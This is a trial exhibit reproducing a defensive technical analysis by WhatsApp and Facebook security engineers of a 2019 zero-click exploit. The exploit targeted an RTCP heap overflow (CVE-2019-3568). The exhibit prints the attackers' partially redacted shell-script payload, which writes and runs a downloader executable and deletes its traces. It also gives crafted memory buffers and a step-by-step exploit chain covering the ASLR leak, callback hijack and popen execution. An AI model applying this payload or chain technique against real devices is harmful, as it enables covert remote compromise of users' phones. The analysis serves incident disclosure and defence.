TRIAL EXHIBIT
A-1148

Technical Analysis of WhatsApp Zero-Click Exploit

Andrey Labunets, Otto Ebeling, Ibrahim Mohamed, Brendon Tiszka

October 2019

Contents

Technical Analysis of WhatsApp Zero-Click Exploit

In May 2019, our team discovered targeted attacks involving a pre-call remote code execution vulnerability against WhatsApp mobile applications that we remediated. To investigate the attacks, WhatsApp engineers worked closely with Facebook Security engineers, who provide security-related services to WhatsApp. Based on our analysis, the attackers started each attack by initiating a WhatsApp video call to a targeted user.

The root cause was a client-side heap buffer overflow vulnerability in the Real-Time Transport Control Protocol (RTCP) within native cross-platform Voice over Internet Protocol (VoIP) code (as specified in CVE-2019-3568) Redacted The buffer overflow vulnerability primarily affected versions of WhatsApp for Android prior to v2.19.134, WhatsApp for iOS prior to v2.19.51, and WhatsApp for Windows Phone prior to v2.18.348.

The exploit that targeted the vulnerability was designed to target both 32 and 64-bit applications. It enabled an additional undocumented encryption feature, and used the same buffer overflow vulnerability to leak information to aid itself in bypassing Address Space Layout Randomization (ASLR) protections. The exploit utilized existing code in the WhatsApp native library to achieve arbitrary code execution, i.e. it overwrote callback function pointers with such helpers to use them as attack gadgets. The exploit leveraged the implementation properties of group calling to reset the corrupted memory state and attempted to gracefully terminate and clean up the temporary files it created. Based on the information we currently hold, the exploit may have required multiple calls before the attack could take place.

WhatsApp VoIP Architecture

The WhatsApp VoIP infrastructure has server and client applications. The server functions as an intermediary between the WhatsApp applications, helping them to establish a call as well as proxying VoIP data between clients once the call starts. This VoIP data includes end-to-end encrypted Secure Real-time Transport Protocol (SRTP) packets as well as statistics and control messages such as Real-time Control Protocol (RTCP) packets.

In the course of a normal operation, a client sends an "offer" message to another peer via the server, and the peer's phone starts ringing. After the peer picks up the phone, a call starts, and participants exchange VoIP audio and video data. This call is encrypted with SRTP key, as outlined in the WhatsApp Encryption Overview technical whitepaper.[1] If a call creator invites a third participant, they send a group update message to another peer via the server, and a call is updated to a group call. When a call creator hangs up, they send a "terminate" message via the server, which ends the call.

Root Cause

The root cause was a client-side heap buffer overflow vulnerability Redacted

The heap buffer overflow (CVE-2019-3568)[2] occurred due to an unchecked memcpy in RTCP packet buffering logic inside the WhatsApp VoIP client code, where data and length came from an external request.

There is a specific optimization code path in a layer before the RTCP handler that is used for the early calculation of round-trip time. The path stores an incoming RTCP Sender Report / Receiver Report[3] (SR/RR) packet in a temporary buffer. That buffer is used to make it available to the RTCP layer immediately when the user answers the call. The vulnerability CVE-2019-3568 existed inside this buffering logic and was reachable remotely with no required user interaction when a call was instantiated in a certain way.

```
if (first_pt == RTCP_SR || first_pt == RTCP_RR) {
   pj_memcpy(tp->last_rtcp_pkt, data, (pj_size_t)data_length);
   ...
}
```

The `last_rtcp_pkt` buffer was inside a structure holding current VoIP call context and thus was adjacent to a few variables of the call context. Due to this proximity to the call context data and because both content and length of the overflow were controlled, the CVE-2019-3568 vulnerability created conditions for building useful exploitation primitives by overwriting carefully chosen call-related memory contents and changing program behavior in a predictable manner.

In addition to the client-side vulnerability, the attack took advantage of a legacy feature on the WhatsApp server to avoid server-side message validation and set specially crafted VoIP settings for a call recipient.

Exploit Details

In the section we describe one common variant of the attack on 64-bit Android phones. Some sensitive details have been omitted.

Attackers used two phone numbers, which we refer to as "Attacker Phone A" and "Attacker Phone B." A targeted user is referred to as a target. The attack consisted of the following parts.

Step 1: Attack Initiation

Attacker Phone A initiated a video call with the target by sending an "offer" message through the server. This offer avoided server-side validation using a legacy feature and injected additional VoIP settings into target's call context variable. One setting explicitly enabled an additional undocumented stream cipher, which is not used by default in most configurations, so that Attacker Phone A could later send encrypted RTCP packets. Another option, `connecting_tone_desc`, carried a shell script. WhatsApp stores a copy of `connecting_tone_desc` as part of a global structure in the .bss segment of the WhatsApp native library libwhatsapp.so, so the shell script appeared inside the .bss segment of the WhatsApp library, inside the target device's memory.

```
(w=com.whatsapp;t=/data/data/$w/files/t;e=echo;c="chmod
777";g=grep;v=/system/bin/am;u=$(which id>/dev/null && $e $((`id | $g
-oE "uid=[0-9]+" | $g -oE "[0-9]+"` / 100000)) || $e 0);cp $v
${t}p;s="stopservice --user $u $w/.voipcalling.VoiceFGService;";$v $s
|| ${t}p $s;rm ${t}*;$e -en "\x7fELF[REDACTED]${t}z\x00">$t;$c
$t;$t>${t}z;$c ${t}z;${t}z [REDACTED] ;rm ${t}*;)&%0%0%0%0%0
```

Once executed, the script would write an ELF executable to the disk, attempt to shut down a WhatsApp component, delete temporary files it created, and run the ELF executable containing logic to download a second payload. Execution did not occur until Step 5 (see page 9).

We observed an erroneous extra semicolon at the end of the script line calling Android Activity Manager, which suggests that this line of the shell script didn't stop the activity:

```
"stopservice --user $u $w/.voipcalling.VoiceFGService;"
```

Shortly after the offer with the above script was received, the target's phone would ring.

Step 2: Bit Width Detection and Info Leak

STEP 2.1: At that point, a bandwidth estimation process started. This step opened the vulnerable code path that buffers RTCP SR/RR packets.

Attacker Phone A exploited the buffer overflow using a single payload that had different interpretations in 32 and 64-bit systems because the structures after the vulnerable buffer have different sizes in these systems. As a result, the target's responses were slightly different for 32-bit and 64-bit versions of WhatsApp, so that Attacker Phone A could determine whether to proceed with the 32-bit or 64-bit version of payload. In the steps below, we will assume Attacker Phone A has determined the target is running a 64-bit Android system.

After peers exchanged bandwidth estimation packets, Attacker Phone A sent a duplicate offer message, triggering a transport restart, which reset internal state. Duplicate offer messages are not sent normally by WhatsApp during a call establishment process.

STEP 2.2: Attacker Phone A exploited the buffer overflow again, this time repeatedly overwriting the least significant byte of a pointer to a structure related to the bandwidth estimation process. Certain fields of this structure are normally sent back to the caller as a part of the bandwidth estimation process. Overwriting the least significant byte allowed Attacker Phone A to shift the beginning of this structure without knowing its full address, overlapping the previously mentioned fields with data of interest. Attacker Phone A kept shifting this structure multiple times until receiving back a valid pointer from a heap metadata block in a probe response of the bandwidth estimation process. This allowed Attacker Phone A to determine the current base address of the WhatsApp native library libwhatsapp.so.

Step 3: Callback Structure Preparation

STEP 3.1: Attacker Phone A upgraded the call to a group video call by inviting Attacker Phone B to join the call. In the course of doing this, the protocol allows the client to provide a buffer, `capability_bit_mask`, to describe all the VOIP capabilities it supports. Instead of providing a normal bitmask, the attacker sent a carefully crafted structure described below. Due to the infoleak in step 2.2, the attacker knew the memory layout by this point, and was therefore able to compute the full pointer values.

```
00000000  01 38 00 00  84 ff [redacted] [redacted] [redacted] 00 00 00  70 c7 [redacted] [redacted]
00000010  [redacted] 00 00 00  00 fe [redacted] [redacted] [redacted] 00 00 00  18 ad [redacted] [redacted]
00000020  [redacted] 00 00 00  e8 ff [redacted] [redacted] [redacted] 00 00 00  [redacted] [redacted] [redacted] [redacted]
00000030  70 c7 [redacted] [redacted] [redacted] 00 00 00  72 00 00 00
```

Example of Attacker Phone A `capability_bit_mask` buffer, redacted bytes marked as ■

The key elements of this buffer:

OFFSET	SIZE (bytes)	DESCRIPTION
0x4	8	Points to offset -0x2C (0x2C bytes before this structure)
0xC	8	Pointer to execute() function, used as a gadget
0x14	8	Pointer to popen() in PLT
0x1C	8	Pointer to a copy of `connecting_tone_desc` in .bss
0x24	8	Pointer to offset 0x38 inside this buffer (will contain "r")
0x30	8	Pointer to execute() gadget (the same as at offset 0xC)
0x38	4	"r\0\0", constant used as 2nd parameter for popen() call

STEP 3.2: Attacker Phone B received the group call invitation and specified the following buffer as its `capability_bit_mask`, which the server then relayed to the target:

```
00000000  01 2c 00 00 a8 ff [redacted] [redacted] [redacted] 00 00 00 [redacted] [redacted] [redacted] [redacted]
00000010  [redacted] [redacted] [redacted] [redacted] ec [redacted] [redacted] [redacted] [redacted] 00 00 00 78 [redacted] [redacted] [redacted]
00000020  [redacted] 00 00 00 [redacted] [redacted] [redacted] [redacted] [redacted] [redacted] [redacted] [redacted] [redacted] [redacted] [redacted] [redacted]
```

Example of Attacker Phone B `capability_bit_mask` buffer, redacted bytes marked as ■

The key elements of this buffer:

OFFSET	SIZE (bytes)	DESCRIPTION
0x4	8	Points to offset -0x8 from Attacker Phone A `capability_bit_mask` (0x08 bytes before the previous structure)
0x14	8	Points to transport creation function
0x1C	8	Points to the global context

Step 4: Launching the Callbacks

STEP 4.1: Attacker Phone A exploited the vulnerability once again, this time overwriting a set of callback pointers so that they pointed inside the `capability_bit_mask` buffers sent in steps 3.1 and 3.2.

STEP 4.2: Attacker Phone A terminated the call, which triggered the two callbacks set up previously in the steps 3.1 and 3.2. At this point, the target's phone would stop ringing.

Step 5: Callbacks Execution

Both callbacks first pointed to a thread-related function inside the WhatsApp native library libwhatsapp.so, and used it as a gadget. This function read two parameters and a function pointer from a structure, and then called that function with those two parameters. That allowed Attacker Phone A and Attacker Phone B to call arbitrary functions with two parameters.

The first callback called an existing initialization function inside WhatsApp, which allocated a new transport structure and reset various corrupted fields to their default values.

The second callback lead to popen() in the procedure linkage table (PLT) of libwhatsapp.so (popen() is present in the PLT because it is referenced from SQLLite code linked into the same object file). That callback invoked popen() with the malicious shell script from step 1 and the constant "r" from step 3.1 to run attacker's command.

Conclusion

Here we summarize our technical analysis of the exploit in a few key points:

- The exploit used a legacy feature to inject server-provided VoIP settings and used this to place a shell script payload into memory.
- This exploit relied on a buffer overflow vulnerability, CVE-2019-3568, with both content and length of the overflow being controlled. It also took advantage of deterministic behaviour at some stages of VoIP, so that the same vulnerability was re-used to construct useful exploitation primitives to work around architecture differences and bypass ASLR.
- For each of its stages, the exploit re-purposed a considerable amount of additional specific application-level and transport-level features in WhatsApp: video calling, group calling, early bandwidth estimation protocol, and additional undocumented encryption feature.
- Due to the nature and complexity of VoIP process, the attack caused a target phone to ring, which could be visible to targeted users, and in some cases required several calls for the full attack to take place.
- Based on the complexity of the techniques used to perform this attack, we believe this exploit required significant resources to build.

References

1. WhatsApp Encryption Overview, technical whitepaper
   https://www.whatsapp.com/security/WhatsApp-Security-Whitepaper.pdf
2. CVE-2019-3568. A buffer overflow vulnerability in WhatsApp VOIP stack
   https://www.facebook.com/security/advisories/cve-2019-3568
3. Sender and Receiver Reports, RFC3550 RTP: A Transport Protocol for Real-Time Applications
   https://tools.ietf.org/html/rfc3550#section-6.4.1

Acknowledgements

We would like to express our gratitude for the tireless work of numerous individuals across the Whatsapp and Facebook organizations, whose work was critical to the investigation of this incident.